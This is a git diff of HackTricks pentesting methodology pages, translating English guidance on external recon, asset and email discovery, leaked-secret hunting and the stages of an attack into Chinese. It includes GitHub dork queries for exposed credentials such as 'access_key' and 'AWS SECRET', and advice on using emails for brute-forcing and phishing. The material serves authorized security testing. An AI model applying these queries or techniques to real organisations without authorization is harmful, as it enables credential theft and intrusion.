vulnerabilities** +检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\ +如果 **子域名** 指向某个 **S3 桶**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。 -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). - -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **本书中找到一些“攻击”它们的技巧**。\ +&#xNAN;_Note 有时子域名托管在不受客户控制的 IP 内,因此不在范围内,请小心。_ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\ +现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候了。 -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。 -### **Looking for vulnerabilities** +### **寻找漏洞** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。 -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。** -## Web servers hunting +## 网络服务器猎杀 -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。 -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +在之前的步骤中,你可能已经对发现的 **IP 和域名进行了某些侦察**,因此你可能 **已经找到了所有可能的网络服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。 -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +请注意,这将是 **面向网络应用发现** 的,因此你也应该 **进行漏洞** 和 **端口扫描**(**如果范围允许**)。 +一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\ +另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80 端口(http)和 443 端口(https)。此外,你可以指示尝试其他端口: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **截图** -### **Screenshots** +现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。 -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。** -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不然。 -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## 公有云资产 -## Public Cloud Assets +为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`"crypto", "wallet", "dao", "", <"subdomain_names">`”。 -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +你还需要一些**常用词汇的字典**,用于存储桶: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +然后,使用这些词汇生成**排列组合**(查看 [**第二轮DNS暴力破解**](./#second-dns-bruteforce-round) 获取更多信息)。 -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +使用生成的字典,你可以使用工具如 [**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **或** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**。** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +记住,在寻找云资产时,你应该**寻找的不仅仅是AWS中的存储桶**。 -### **Looking for vulnerabilities** +### **寻找漏洞** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +如果你发现**开放的存储桶或暴露的云函数**,你应该**访问它们**,看看它们能提供什么,以及你是否可以利用它们。 -## Emails +## 电子邮件 -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +通过范围内的**域名**和**子域名**,你基本上已经拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API +- [**https://hunter.io/**](https://hunter.io/) 的API(免费版) +- [**https://app.snov.io/**](https://app.snov.io/) 的API(免费版) +- [**https://minelead.io/**](https://minelead.io/) 的API(免费版) -### **Looking for vulnerabilities** +### **寻找漏洞** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。 -## Credential Leaks +## 凭证泄露 -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +通过**域名**、**子域名**和**电子邮件**,你可以开始寻找过去泄露的与这些电子邮件相关的凭证: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **寻找漏洞** -If you find **valid leaked** credentials, this is a very easy win. +如果你发现**有效的泄露**凭证,这将是一个非常简单的胜利。 -## Secrets Leaks +## 秘密泄露 -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +凭证泄露与公司被黑客攻击时**敏感信息被泄露和出售**有关。然而,公司可能还会受到**其他泄露**的影响,这些信息不在那些数据库中: -### Github Leaks +### Github泄露 -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\ +你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。 -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** 还可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页也包含秘密**。 #### Github Dorks -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +还可以查看这个**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### Paste泄露 -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +有时攻击者或员工会在**粘贴网站**上**发布公司内容**。这可能包含或不包含**敏感信息**,但搜索它非常有趣。\ +你可以使用工具 [**Pastos**](https://github.com/carlospolop/Pastos) 在80多个粘贴网站上同时搜索。 ### Google Dorks -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。 -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快封锁你。_ -### **Looking for vulnerabilities** +### **寻找漏洞** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +如果你发现**有效的泄露**凭证或API令牌,这将是一个非常简单的胜利。 -## Public Code Vulnerabilities +## 公共代码漏洞 -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +如果你发现公司有**开源代码**,你可以**分析**它并搜索**漏洞**。 -**Depending on the language** there are different **tools** you can use: +**根据语言**的不同,你可以使用不同的**工具**: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +还有一些免费服务允许你**扫描公共仓库**,例如: - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以在这里[**找到这些信息**](../../network-services-pentesting/pentesting-web/)。 -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +我还想特别提到[**开源工具的网络自动化扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果你不应该期望它们找到非常敏感的漏洞,它们在**工作流程中提供一些初步的网络信息**时非常有用。 -## Recapitulation +## 综述 -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为还可以进行更多的枚举(稍后会看到更多技巧)。 -So you have already: +所以你已经: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. 找到了范围内的**所有公司** +2. 找到了属于公司的**所有资产**(并在范围内进行了一些漏洞扫描) +3. 找到了属于公司的**所有域名** +4. 找到了域名的**所有子域名**(是否有子域名接管?) +5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP)。 +6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?) +7. 找到了属于公司的**所有潜在公共云资产**。 +8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会给你带来**非常轻松的重大胜利**。 +9. **渗透测试你找到的所有网站** -## **Full Recon Automatic Tools** +## **全自动侦查工具** -There are several tools out there that will perform part of the proposed actions against a given scope. +有几种工具可以执行针对给定范围的部分提议操作。 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新 -## **References** +## **参考文献** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- [**@Jhaddix**](https://twitter.com/Jhaddix) 的所有免费课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..c24c6b604 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +现在我们已经建立了我们范围内资产的列表,是时候寻找一些OSINT的低垂果实了。 -{% embed url="https://go.intigriti.com/hacktricks" %} - -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. - -### Platforms that already searched for leaks +### 已经搜索泄露的平台 - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Github中的Api密钥泄露 - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +23,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +304,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..0d521b13a 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +本页面的目标是列举**允许在一个或多个平台上搜索代码**(字面或正则表达式)的平台,这些平台可以在成千上万或数百万个代码库中进行搜索。 -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +这在多个场合有助于**搜索泄露的信息**或**漏洞**模式。 -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): 在数百万个代码库中搜索。提供免费版本和企业版本(15天免费)。支持正则表达式。 +- [**Github Search**](https://github.com/search): 在Github上搜索。支持正则表达式。 +- 也许检查一下[**Github Code Search**](https://cs.github.com/)也很有用。 +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): 在Gitlab项目中搜索。支持正则表达式。 +- [**SearchCode**](https://searchcode.com/): 在数百万个项目中搜索代码。 > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> 当你在一个代码库中寻找泄露信息并运行类似`git log -p`的命令时,不要忘记可能还有**其他分支和其他提交**包含秘密! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..8f60fe9f5 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,136 @@ -# Pentesting Methodology +# 渗透测试方法论 {{#include ../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## 渗透测试方法论
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_设计。_ -### 0- Physical Attacks +### 0- 物理攻击 -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +你是否对想要攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从 GUI 应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。 -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**根据**你进行的**测试**是**内部测试还是外部测试**,你可能会对查找**公司网络中的主机**(内部测试)或**在互联网上查找公司的资产**(外部测试)感兴趣。 > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> 请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。 -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**与网络玩乐**](pentesting-network/) **(内部)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**本节仅适用于进行内部测试的情况。**\ +在攻击主机之前,也许你更愿意**从网络中窃取一些凭据**或**嗅探**一些**数据**以**被动/主动(MitM)**了解你可以在网络中找到什么。你可以阅读[**渗透测试网络**](pentesting-network/#sniffing)。 -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [端口扫描 - 服务发现](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +在**寻找主机中的漏洞**时,首先要了解**哪些服务在什么端口上运行**。让我们看看[**扫描主机端口的基本工具**](pentesting-network/#scanning-hosts)。 -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [搜索服务版本漏洞](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +一旦你知道哪些服务在运行,也许它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以给你一个 shell 的漏洞... -### **5-** Pentesting Services +### **5-** 渗透测试服务 -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +如果没有任何运行服务的花哨漏洞,你应该寻找**每个运行服务中的常见错误配置**。 -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**在本书中,你将找到渗透测试最常见服务的指南**(以及其他不太常见的服务)。请在左侧索引中搜索**_**渗透测试**_**部分**(服务按其默认端口排序)。 -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**我想特别提到** [**渗透测试 Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\ +此外,这里可以找到关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。 -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**如果你的服务不在索引中,请在 Google 中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在 Google 中找不到任何东西**,请进行**自己的盲目渗透测试**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。 -#### 5.1 Automatic Tools +#### 5.1 自动工具 -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +还有几种工具可以执行**自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于渗透测试服务的笔记。** -#### **5.2 Brute-Forcing services** +#### **5.2 暴力破解服务** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +在某些情况下,**暴力破解**可能对**破坏**一个**服务**有用。[**在这里找到不同服务暴力破解的备忘单**](../generic-hacking/brute-force.md)**。** -### 6- [Phishing](phishing-methodology/) +### 6- [网络钓鱼](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +如果到目前为止你没有找到任何有趣的漏洞,你**可能需要尝试一些网络钓鱼**以便进入网络。你可以在[这里](phishing-methodology/)阅读我的网络钓鱼方法论: -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**获取 Shell**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +不知怎么的,你应该找到**在受害者上执行代码的某种方法**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](../generic-hacking/reverse-shells/)。 -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +特别是在 Windows 中,你可能需要一些帮助来**避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\ -### 8- Inside +### 8- 内部 -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +如果你在 shell 上遇到问题,这里可以找到一些**对渗透测试者最有用的命令的汇编**: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**数据外泄**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +你可能需要**从受害者那里提取一些数据**,甚至**引入一些东西**(如特权升级脚本)。**这里有一篇关于你可以用来实现这些目的的** [**常用工具的文章**](../generic-hacking/exfiltration.md)**。** -### **10- Privilege Escalation** +### **10- 特权升级** -#### **10.1- Local Privesc** +#### **10.1- 本地特权升级** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +如果你在盒子里**不是 root/管理员**,你应该找到一种方法来**提升特权**。\ +在这里你可以找到**在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南。**\ +你还应该查看这些关于**Windows 工作原理**的页面: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**身份验证、凭据、令牌特权和 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- [**NTLM 工作原理**](../windows-hardening/ntlm/) +- 如何[**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 在 Windows 中 +- 一些关于[_**活动目录**_](../windows-hardening/active-directory-methodology/)的技巧 -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**不要忘记查看最佳工具以枚举 Windows 和 Linux 本地特权升级路径:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- 域特权升级** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. 